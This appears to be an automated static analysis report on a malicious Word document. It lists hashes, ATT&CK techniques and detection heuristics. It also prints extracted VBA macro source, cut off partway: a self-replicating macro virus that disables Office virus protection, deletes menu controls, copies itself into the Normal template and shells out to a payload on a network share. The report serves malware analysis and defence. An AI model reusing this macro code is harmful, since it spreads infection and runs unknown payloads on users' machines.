Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b57abe1e20be3cdc…

MALICIOUS

Office (OLE)

68.5 KB Created: 2012-12-26 06:34:00 Authoring application: Microsoft Office Word First seen: 2014-06-27
MD5: bf92b009df6b95b65031660f06425e0d SHA-1: a0f100392c5c0be2aab9b54405350bace36eaa6e SHA-256: b57abe1e20be3cdcff9ebc4cbcaec9d8aa21d1ed065aa98c67fe9c6a223c1509
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1070.004 File Deletion T1140 Deobfuscate/Decode Files or Information

The sample is a malicious Office document containing VBA macros. The macros attempt to disable security settings, replicate themselves by writing VBA project code, and execute a second-stage payload located at '\jdq\cc$\b.exe'. The presence of self-replication and tampering heuristics, along with the shell execution, strongly indicates malicious intent.

Heuristics 5

  • ClamAV: Doc.Macro.DeleteMacro-6096859-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.DeleteMacro-6096859-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell ("\\jdq\cc$\b.exe")
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
            x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2052 bytes
SHA-256: b678b1ae089c4792b011d30ad8a21991648da67d10f5bf18fdcb34574eb83e3f
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True





Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
x4 = x6.codemodule.Find("niahiyigebendan", 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
    CommandBars("Macro").Controls(4).Delete
    CommandBars("Macro").Controls(3).Delete
    CommandBars("Macro").Controls(2).Delete
    CommandBars("Macro").Controls(1).Delete
    CommandBars("Tools").Controls(17).Delete
Shell ("\\jdq\cc$\b.exe")
If x3 = True Then
    x13 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
End If
If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then
      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.codemodule.Lines(1, x5.codemodule.CountOfLines)
        x6.codemodule.deletelines 1, x6.codemodule.CountOfLines
        x6.codemodule.AddFromString x11
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.codemodule.Lines(1, x6.codemodule.CountOfLines)
     x5.codemodule.deletelines 1, x5.codemodule.CountOfLines
     x5.codemodule.AddFromString x11
     If x1 = True Then ActiveDocument.Save
   End If
End If
End Sub
Private Sub Document_New()